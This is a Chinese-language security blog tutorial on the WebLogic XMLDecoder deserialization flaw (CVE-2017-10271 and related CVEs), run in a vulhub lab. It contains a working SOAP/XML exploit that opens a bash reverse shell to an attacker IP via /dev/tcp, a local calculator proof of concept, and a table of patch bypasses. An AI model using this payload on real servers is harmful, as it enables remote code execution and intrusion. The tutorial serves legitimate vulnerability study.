🍬 博主介绍👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
0x1前言
0x2 漏洞原理及介绍
1、weblogic简介
2、XMLEncoder&XMLDecoder简介
0x3 漏洞复现
1、基于IDEA代码复现
2、基于vulhub漏洞复现
Weblogic XMLDecoder漏洞对比
漏洞搭建环境:
0x4 weblogic XMLDecoder 漏洞POC详解
0x1前言
下面的内容主要是给师傅们介绍和讲解下weblogic XMLDecoder漏洞,这个漏洞有很多个版本,有多个cve漏洞,这里我主要从基于IDEA和vulhun环境搭建来给师傅们复现下这个weblogic XMLDecoder漏洞。复现完成的师傅们,要是基础还可以,学过Java代码的可以尝试掌握下这个漏洞的POC构造,这个是底层代码原理,比较难,小白的话把漏洞原理以及漏洞复现完成即可!!!
0x2 漏洞原理及介绍
1、weblogic简介
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
2、XMLEncoder&XMLDecoder简介
XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。说直白点XMLDecoder就是用来解析XML文档的。
0x3 漏洞复现
1、基于IDEA代码复现
我们需要准备两个Java代码,一个是XmlDecoder.java,另一个是poc.xml两个代码文件,其具体内容如下:
1、先新建一个叫做XmlDecoder.java的代码文件,需要注意的是代码中poc.xml的位置
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;public class XmlDecoder {public static void main(String[] args) throws FileNotFoundException {XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("E:/tool/IDEA-java/java代码/routing/src/pom.xml")));Object result = d.readObject();d.close();}
}
2、再新建一个叫做poc.xml的代码文件,这里是到时候运行XmlDecoder.java文件,然后poc.xml代码执行了java.lang.ProcessBuilder("calc").start()
的操作,也就是弹出本地计算器来。
要是MAC的笔记本,需要把”calc“改成”open -a Calculator“
<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1" ><void index="0"><string>calc</string></void></array><void method="start"/></object>
</java>
3、执行XmlDecoder.java代码文件:
至此这里简单的XmlDecoder漏洞就复现完成了。
2、基于vulhub漏洞复现
有关Weblogic XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等,其漏洞原理相似,差异主要在于出问题的包、黑名单过滤的标签,这里进行一下对比。
Weblogic XMLDecoder漏洞对比
漏洞编号 | 影响版本 | 补丁/绕过 |
---|---|---|
CVE-2017-3506 | 10.3.6.0 12.1.3.0 12.2.1.1 12.2.1.2 | 补丁过滤了object标签,可用void标签绕过 |
CVE-2017-10271 | 10.3.6.0 12.1.3.0 12.2.1.1 12.2.1.2 | 补丁过滤了new,method标签,且void后面只能跟index,array后面可以跟class,前提是bytes类型 |
CVE-2019-2725 | 10.3.6.0 12.1.3.0 12.2.1.3 12.2.1.4 14.1.1.0 | 黑名单禁用了class标签,可用<array method =“forName"> 绕过 |
CVE-2019-2729 | 10.3.6.0 12.1.3.0 12.2.1.3 |
漏洞搭建环境:
ubantu:IP地址 10.10.10.130 (先要安装docker,然后下载vulhub) 启动vulhub里面的weblogic环境目录对应的漏洞
kali : IP地址 10.10.10.128 用于接收ubantu的反弹shell
我们启动环境前,先要到vulhub指定的漏洞位置/vulhub/weblogic/CVE-2017-10271目录下,然后执行下面的命令,这个靶场环境内存较大,所以启动的时候很慢,耐心等待下。
出现done关键字,那么说明环境启动成功了。
docker-compose up -d
查看这个环境的具体详细信息:
docker ps -a
访问这个IP+7001端口,出现下面的404界面,说明我们成功访问到了这个靶机的环境页面
第一步:weblogic XMLDecoder反序列化漏洞的出现位置有很多路径,我们这里选择/wls-wsat/CoordinatorPortType路径:
第二步:把访问这个可能触发XMLDecoder反序列化漏洞的页面的GET请求抓下来(BurpSuite抓个包),可以看到其HTTP请求如下图:
第三步:把这个包发送到重放器Repeater,一会改包添加poc。现在我们在攻击机kali中开启一个nc监听,监听6666端口,用于接收反弹shell:
第四步:改包,把刚才抓到的HTTP GET请求,修改请求方式为POST,然后加上反弹shell的恶意代码,注意要把Content-Type修改为text/xml 。在请求体中添加如下XML格式的poc:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/10.10.10.128/4444 0>&1</string></void></array><void method="start"></void></object></java></work:WorkContext> </soapenv:Header> <soapenv:Body/>
</soapenv:Envelope>
完整的请求包如下,需要注意下面的这两个地方,首先要把Content-Type修改为text/xml ,IP和端口改成自己开始利用kali监听的IP和端口:
第五步:改包之后,发送请求,响应包的状态码是500,如下图所示,如果响应包如下图这样,查看kali也发现反弹shell已经成功了,说明漏洞利用成功了。
把docker容器的镜像文件关闭,然后删除,至此我们的weblogic XMLDecoder漏洞就复现成功了。
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ca19ed26fee8 vulhub/weblogic:10.3.6.0-2017 "startWebLogic.sh" 49 minutes ago Up 49 minutes 5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp cve-2017-10271_weblogic_1
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271# docker stop ca19ed26fee8
ca19ed26fee8
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271# docker rm ca19ed26fee8
ca19ed26fee8
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
root@routing-virtual-machine:~/vulhub/weblogic/CVE-2017-10271#
0x4 weblogic XMLDecoder 漏洞POC详解
这里参考红队大佬的poc代码构造解析,恶意的XML数据如下:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/10.10.10.128/4444 0>&1</string></void></array><void method="start"></void></object></java></work:WorkContext> </soapenv:Header> <soapenv:Body/>
</soapenv:Envelope>
java标签
这个标签是使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。
<java class="java.beans.XMLDecoder">
object标签
通过 <object> 标签表示对象, 其class 属性指定具体类(用于调用其内部方法),此处为ProcessBuilder类,ProcessBuilder可以用于执行cmd命令,调用ProcessBuilder的start()方法启动进程,start将会在后续的标签void进行介绍。
<object class="java.lang.ProcessBuilder">
array标签/void标签
<array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/192.168.219.134/4444 0>&1</string></void>
</array>
通过 <array> 标签表示数组, class 属性指定具体类,此处为字符串,在array标签内部使用 void 标签的 index 属性来指定数组索引赋值,此处相当于创建了一个长度为3的字符串数组,三个元素的内容分别相当于:
str[0] = '/bin/bash'
str[1] = '-c'
str[2] = 'bash -i >& /dev/tcp/192.168.219.134/4444'
其中str[0]指出了cmd命令的位置,str[1]表示执行,str[2]表示执行的具体命令。注意反弹shell的语句需要进行编码,否则解析XML的时候将出现格式错误 。
<void method="start"></void>
void标签中的start方法是前述ProcessBuilder类的一个方法,调用ProcessBuilder的start()方法可以启动命令执行的进程。